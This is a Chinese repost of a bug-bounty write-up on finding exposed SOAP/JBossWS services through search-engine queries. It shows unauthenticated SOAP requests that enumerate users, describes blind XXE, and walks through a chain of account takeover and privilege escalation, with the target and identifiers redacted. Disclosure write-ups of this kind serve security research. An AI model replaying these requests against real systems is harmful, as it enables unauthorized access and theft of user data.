前言
说到现代 Web 技术, SOAP (Simple Object Access Protocol))可能并非你首先想到的。它是一种相对老的协议,在如今的应用中,常常被 REST、GraphQL 和 gRPC 替代。
然而,由于它正在逐渐成为一项遗留技术,同时也是一个被忽视的攻击面——对于赏金猎人来说,它就像一座“隐藏的金矿”。
今天跟大家分享一个如何从一个小发现升级为全面远程代码执行 (RCE) 漏洞的故事。
寻找目标
白帽小哥利用 Shodan、 FoFa 以及 Google Dorks 定制了一套 SOAP 相关的查询。
小哥重点关注在可能配置错误的服务器 — — 例如,那些暴露 Apache CXF 默认服务列表页面的服务器。
利用 ChatGPT,设计了如下一些查询:
body="soap:Envelope"header="Content-Type: text/xml"protocol="soap"body="soapAction"http.headers.content-type:"application/soap+xml"http.html:"wsdl:definitions"product:"Microsoft SOAP Toolkit"product:"Apache Axis"
结合 Dork 和过滤器,成功发现几个实例,白帽小哥将结果复制到 Excel 文件中,并按 IP、服务、域名、国家/地区和其它属性进行排序。
然后,执行 IPWhois 查询 ,并使用 FoFa 来识别组织。大约30分钟的分析,一个组织名称引起了白帽小哥的注意——只需在浏览器中访问它,就会发现一条意想不到的有趣线索。
打开 URL 后,会显示一个可公开访问的 CXF 服务列表页面——这是暴露 SOAP 接口的典型标志,而且有趣的是,它还暴露了 Apache JBossWS 服务端点——它处于活跃状态,并且暴露于公网。更棒的是——它提供了完整的 CXF 服务列表,其中包含可供调用的操作。
经典的 CXF 服务页面,列出多个可用的 SOAP 服务,例如:
1. getA**In****o2. sendDocument3. getxxxxxxxResponse4. searchxxxxxx5. FormResponsexxxxxx6. getHeartBeat7. getMessageTraffic8. getMonitorVersion9. Ann**l****Modi****10. Con*********e11. Mod********y12. InsertInActiveDirectory13. Elimina*****ActiveDirectory14. Res**Email15. id****
发现端点
访问端点 https://target.com/jbossws/services 后,返回了一个 HTML 页面,其中列出了服务绑定及其 WSDL 链接,典型的配置错误!
通过以下方式访问 WSDL:
curl -k https://target.com/***/*******wsdl
返回了一个包含数百个操作完整详细的 XML 定义,如下图所示,没有身份验证、没有令牌、没有头...
XXE 枚举
通过访问未经身份验证的 SOAP 方法,白帽小哥第一个目标便是枚举内部用户并确认后端交互。
发现敏感用户信息
由于有方法可以读取用户电子邮件、用户名等,白帽小哥开始使用以下方法 SOAP POST 请求测试 Re***Email :
POST /***/****/****/**finance_users/ HTTP/1.1Host: target.comContent-Type: text/xml; charset=utf-8<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://***.***/"> <soapenv:Header/> <soapenv:Body> <web:Re***Email> <id***>242</id***> </web:Re***Email> </soapenv:Body></soapenv:Envelope>
确认响应,如果用户存在,即使是任意 ID(如 242)也会返回有效数据:
HTTP/1.1 200 OKDate: Fri, 25 Apr 2025 12:27:49 GMTServer: ApacheX-Frame-Options: SAMEORIGINX-Powered-By: ***Content-Type: text/xml;charset=UTF-8*****X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'X-Content-Security-Policy: default-src 'self'X-WebKit-CSP: default-src 'self'Content-Length: 271<env:Envelope xmlns:env='http://schemas.xmlsoap.org/soap/envelope/'><env:Header></env:Header><env:Body><**:**e xmlns:ns2="http://**.**/"><return>**@***</return></**:***Email**></env:Body></env:Envelope>
使用 RealSername 显示的类似请求显示了内部用户名 - 注意Th1 ID1 = admin
POST /**/***/*** HTTP/1.1Host: sub.domain.main-domain.comContent-Type: text/xml; charset=utf-8Content-Length: 337<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://***.***/"> <soapenv:Header/> <soapenv:Body> <web:ReadUserName> <id***>1</id***> </web:ReadUserName> </soapenv:Body></soapenv:Envelope>
上述完全未经身份验证就可以请求允许枚举用户、确认哪些 ID 有效以及检索电子邮件地址。
XXE 线索
在注意到简单的 SOAP 方法无需授权即可运行之后,白帽小哥开始好奇——这个系统背后的 XML 解析器是怎样的?
于是白帽小哥编写了一个用来测试本地文件读取功能,在 sName 字段(用于 I***Nome 函数)中,注入了以下内容:
响应内容:
<faultstring>etc hostname </faultstring>
没有显示任何内容,但文件名本身被回显了。这是 XML 解析器处理 DTD 但不返回内容的典型行为。换句话说: 解析器接受了 XXE Payload,但没有回显文件内容 ,可能是由于 catch 块或严格的 SOAP 错误处理造成的。无论如何,这足以证实存在 XXE 行为。
利用 DNS 进行 XXE 盲注
为了进一步证实这一点,白帽小哥尝试通过 DNS 进行带外 XXE(OOB-XXE),利用 Burp Collaborator 并注入了以下 payload:
Burp Collaborator 上成功收到 ping 消息,后端成功获取了恶意 DTD,确认 XXE 盲注攻击可行。
这一步至关重要。它告诉我们后端 Java 服务可以:
-
解析 XML 而不禁用外部实体加载 -
即使文件内容没有直接返回,也会执行 DTD 引用 -
易受到盲注(如 DNS 或基于 HTTP 的回调)的攻击
从枚举到利用
-
首先与 I***Email
函数进行交互,白帽小哥在枚举中找到了该方法,它允许设置或修改任何用户帐户的电子邮件地址。无需令牌,无需会话,只有纯粹的基于 SOAP 的逻辑。
POST /***/**/** HTTP/1.1Host: target.comContent-Type: text/xml; charset=utf-8Content-Length: 401<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/"> <soapenv:Header/> <soapenv:Body> <web:I***Email> <id***>999</id***> <***Email>[email protected]</***Email> <tokenWebLogon></tokenWebLogon> </web:Imp***Email> </soapenv:Body></soapenv:Envelope>
响应:
<return>true</return>
-
篡改用户名
设置完电子邮件后,下一步就是设置用户名——一个对身份至关重要的参数。通过使用 SetNserName
为目标 ID 设置了一个干净的用户名。
<web:SetUserName> <id***e>999</id***e> <s***e>admin_takeover</s**e> <tokenWebLogon></tokenWebLogon></web:ImpostaNomeUtente>
提权
现在我们有了一个合法用户,尝试提升权限,在 WSDL 中发现了几个可能有用的操作:
-
Modi***ActiveDirectory
-
SynchronizeSID
-
SetProfessionalFunctions
Active Directory Entry
该方法似乎与 AD 中的用户创建过程类似,并带有***Crea***=true
标志,根据我们的用户 ID( 999 )进行测试,并得到了肯定的确认。
POST /**/**/** HTTP/1.1Host: target.comContent-Type: text/xml; charset=utf-8Content-Length: 397<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/"> <soapenv:Header/> <soapenv:Body> <web:Mo***ActiveDirectory> <id**>999</id**> <**Cr**>true</**bC**> <tokenWebLogon></tokenWebLogon></web:Mo***ActiveDirectory> </soapenv:Body></soapenv:Envelope>
这意味着后端确认并可能在 Active Directory 中注册了我们的用户(id:999)。
分配权限
SetProfessionalFunction
函数接受一个用户 ID 和一 组角色 ID 列表( iFun1 到 iFun4 )。我们将它们全部设置为 1。
POST /***/***/*** HTTP/1.1Host: target.comContent-Type: text/xml; charset=utf-8Content-Length: 465<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.**/"> <soapenv:Header/> <soapenv:Body> <web:I***li> <i**>999</***> <i**>1</i**> <i**>1</i**> <i**3>1</i**3> <i**>1</i**4></web:I***i> </soapenv:Body></soapenv:Envelope>
同步
利用SynchronizeSID
触发 SID 同步,它通常用于企业环境中在系统之间传播用户属性。
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://**.***/"> <soapenv:Header/> <soapenv:Body> <web:SynchronizeSID> <sUserName>admin_***</sUserName> <tokenWebLogon></tokenWebLogon></web:SynchronizeSID> </soapenv:Body></soapenv:Envelope>
此时,我 们已经在系统中创建了一个完全特权的用户帐户 ,并在目录服务上完成最终确定——所有这些都是未经身份验证的 。
你学到了么?
原文:https://infosecwriteups.com/from-soap-to-shell-exploiting-legacy-soap-services-for-full-admin-account-takeover-and-nearly-5355009044c3
- END -
原文始发于微信公众号(骨哥说事):从 SOAP 到 SHELL
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论